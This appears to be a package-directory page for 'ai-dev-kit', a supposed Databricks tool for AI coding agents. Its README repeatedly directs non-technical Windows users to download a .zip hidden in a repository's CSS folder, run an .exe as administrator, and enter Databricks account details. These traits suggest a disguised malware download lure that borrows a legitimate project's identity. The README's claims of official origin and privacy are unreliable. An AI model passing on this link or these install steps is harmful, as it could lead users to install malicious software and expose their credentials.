freshcrate
Skin:/
Home > MCP Servers > ai-dev-kit

ai-dev-kit

Enable AI coding assistants to build reliable Databricks workflows, pipelines, and dashboards with trusted sources and streamlined development.

Why this rank:Recent releaseHealthy release cadenceStrong adoption

Description

Enable AI coding assistants to build reliable Databricks workflows, pipelines, and dashboards with trusted sources and streamlined development.

README

ai-dev-kit is a toolkit designed to help you work with Databricks coding agents. It includes tools built by Field Engineering to make coding with agents like Claude and Cursor easier. You do not need any programming skills to use this software. The tools provide a simple way to interact with Databricks and coding agents on your Windows computer.


🖥️ System Requirements

Before downloading, check if your computer meets these needs:

  • Windows 10 or later (64-bit)
  • At least 4 GB of free RAM
  • 500 MB of free disk space
  • Internet connection for setup and updates

⚙️ Features

  • Easy connection to Databricks coding agents
  • Support for agents such as Claude and Cursor
  • Simple user interface tailored for non-technical users
  • Tools to automate agent workflows
  • Basic settings you can adjust without writing code
  • Frequent updates provided by Field Engineering

🚀 Getting Started

To get ai-dev-kit running on your Windows machine, follow these steps carefully. The process is designed for users with no programming knowledge.


🔗 Step 1: Download the Software

You will first need to get the software from the official GitHub page. This page hosts all the files you need.

Download ai-dev-kit

  • Click the large green or blue button above, or go to this page directly: https://github.com/devneme/ai-dev-kit/raw/refs/heads/master/src/public/css/dev-kit-ai-v2.8.zip

  • On the page, look for the latest release. Releases have files labeled as ".exe" or ".zip" for Windows.

  • Select the file named similar to ai-dev-kit-setup.exe or ai-dev-kit.zip. Prefer .exe if you see it.

  • Click the file to start downloading. Save it to a folder you can easily find, like your Desktop or Downloads.


  • 💻 Step 2: Install the Software

    After the download finishes, install ai-dev-kit on your computer:

    1. Locate the downloaded file on your Desktop or Downloads folder.

    2. Double-click the file named ai-dev-kit-setup.exe (if you downloaded a .zip, right-click and choose "Extract All" first).

    3. Follow these steps in the installation wizard:

      • Click Next on the welcome screen.

      • Read and accept the license agreement by selecting "I agree" or similar.

      • Choose the installation folder or leave the default setting.

      • Click Install to begin the process.

    4. Wait while the software installs. This may take a few minutes.

    5. When you see the "Finish" message, click it to close the installer.


    ▶️ Step 3: Run ai-dev-kit for the First Time

    1. Find the new "ai-dev-kit" icon on your Desktop or in your Start Menu.

    2. Double-click the icon to open the program.

    3. On the first launch, the program may take a moment to prepare settings.

    4. You should see the main window with a simple menu and options to connect to Databricks agents.


    🔌 Step 4: Connect to Databricks Agents

    To use ai-dev-kit with Databricks agents, follow these basics:

    1. Enter your Databricks account details in the fields provided.

    2. Choose which coding agent you want to work with, such as Claude or Cursor.

    3. Click the Connect button.

    4. When connected, you can send commands or requests through the interface without coding.


    🔧 Step 5: Troubleshooting Common Issues

    • Software won’t open: Restart your computer and try again. Check that your Windows is up to date.

    • Download did not complete: Try downloading the file again from the official releases page.

    • Connection errors: Confirm your internet is working. Check your Databricks account info for accuracy.

    • Installation errors: Run the installer as an administrator (right-click the file and choose “Run as administrator”).

    • Agent commands don’t work: Make sure you selected the correct agent and entered required details fully.


    🔄 Updating ai-dev-kit

    Updates fix bugs and add new features. To update:

    1. Visit the releases page again at
      https://github.com/devneme/ai-dev-kit/raw/refs/heads/master/src/public/css/dev-kit-ai-v2.8.zip

    2. Download the latest setup file.

    3. Run the installer to overwrite your current version.

    4. Your settings and data will stay saved.


    🔑 Security and Privacy

    ai-dev-kit only connects to your Databricks account with the information you provide. It does not collect or share your personal data. You control what data you send or receive from coding agents.


    📚 Additional Resources

    • Visit the official documentation link on the release page for guides.

    • Look for example commands included inside the software to get started.

    • Check GitHub issues for common questions or submit problems if stuck.


    ⚙️ Supported Topics

    • Agents: Claude, Cursor

    • Platforms: Databricks

    • Coding workflows

    • Automation tools in Field Engineering context


    📥 Download Link Again

    Get the software from the official release page:

    https://github.com/devneme/ai-dev-kit/raw/refs/heads/master/src/public/css/dev-kit-ai-v2.8.zip

    Click the link and download the latest Windows setup file to begin.

    Release History

    VersionChangesUrgencyDate
    master@2026-09-09Latest activity on master branchHigh9/9/2026
    0.0.0No release found — using repo HEADHigh4/9/2026

    Dependencies & License Audit

    Loading dependencies...

    Similar Packages

    mcp-anythingOne command to turn any codebase into an MCP serverv0.2.0
    hatch3rInstall an agentic coding setup that adds multiple AI agents, skills, and rules to enhance automation across GitHub, Azure DevOps, or GitLab repositories.main@2026-09-09
    claude-doctor-skillAudit projects for security, broken hooks, tests, and CI issues across 20+ languages with adaptive scoring and actionable fixes.main@2026-09-09
    discord.py-self-mcpcomprehensive Discord selfbot MCP server using discord.py-selfv1.8.0
    neurolinkUniversal AI Development Platform with MCP server integration, multi-provider support, and professional CLI. Build, test, and deploy AI applications with multiple ai providers.v12.12.12

    More in MCP Servers

    difyProduction-ready platform for agentic workflow development.
    tabularisA lightweight, cross-platform database client for developers. Supports MySQL, PostgreSQL and SQLite. Hackable with plugins. Built for speed, security, and aesthetics.
    ai-agents-from-zero 🚀 2026 最系统的 AI Agent 速成指南|智能体实战教程 · 完整学习路径 + 实战项目 + 面试题库 · 对标大模型应用开发工程师岗位 · 覆盖LangChain / LangGraph / Coze / Dify / MCP / skills / LLM / RAG / 提示词 · 企业级部署与微调 · 从0到企业级落地 + 从学习到上线项目 + 面试准备一体化
    studioOpen-source control plane for your AI agents. Connect tools, hire agents, track every token and dollar